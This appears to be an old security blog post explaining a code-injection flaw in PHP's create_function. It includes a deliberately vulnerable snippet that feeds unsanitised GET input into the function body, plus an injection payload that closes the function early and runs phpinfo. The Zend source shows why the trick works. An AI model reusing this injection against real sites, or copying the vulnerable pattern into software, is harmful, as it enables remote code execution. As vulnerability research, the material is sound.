php use create_function function to CREATE an anonymous function like below(stolen from php_manual):

————————————————–
Description
string create_function ( string args, string code )

Creates an anonymous function from the parameters passed, and returns a unique name for it. Usually the args will be passed as a single quote delimited string, and this is also recommended for the code. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$avar.

You can use this function, to (for example) create a function from information gathered at run time:

1. Creating an anonymous function with create_function()

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

………

But 80sec found there is a commond injection in this function,you can EXECUTE your php code directly but not CREATE a lambda-style function.It is very useful when sometimes you can create a function but cann’t call your function.Check code below:


<?php
$sort_by=stripslashes($_GET[sort_by]);
$databases=array(”test”);
$sorter = ‘var_dump’;
$sort_function = ‘
return ‘ . ($sort_order == ‘ASC’ ? 1 : -1) . ‘ * ‘ . $sorter . ‘($a["' . $sort_by .
'"], $b["' . $sort_by . '"]);
‘;
usort($databases, create_function(’$a, $b’, $sort_function));
?>


Yes,you can create a function,but because the $databases has only one value,the function never be called,so your injected code cann’t be executed :),but when you input like this:


test.php?sort_by="]);}phpinfo();/*

Bingo,phpinfo executed in create_function,you needn’t call the function at all!

Create_function is a ZEND_FUNCTION in php,it is defined in ./Zend/zend_builtin_functions.c :


.......
eval_code = (char *) emalloc(eval_code_length);
sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code));
eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);
.......


It simply use zend_eval_string to do this work,which execute “function ” LAMBDA_TEMP_FUNCNAME “(%s){%s}”.As you see,you can easily use ‘}’ to close ‘}’,and other codes is executed by zend_eval_string runtime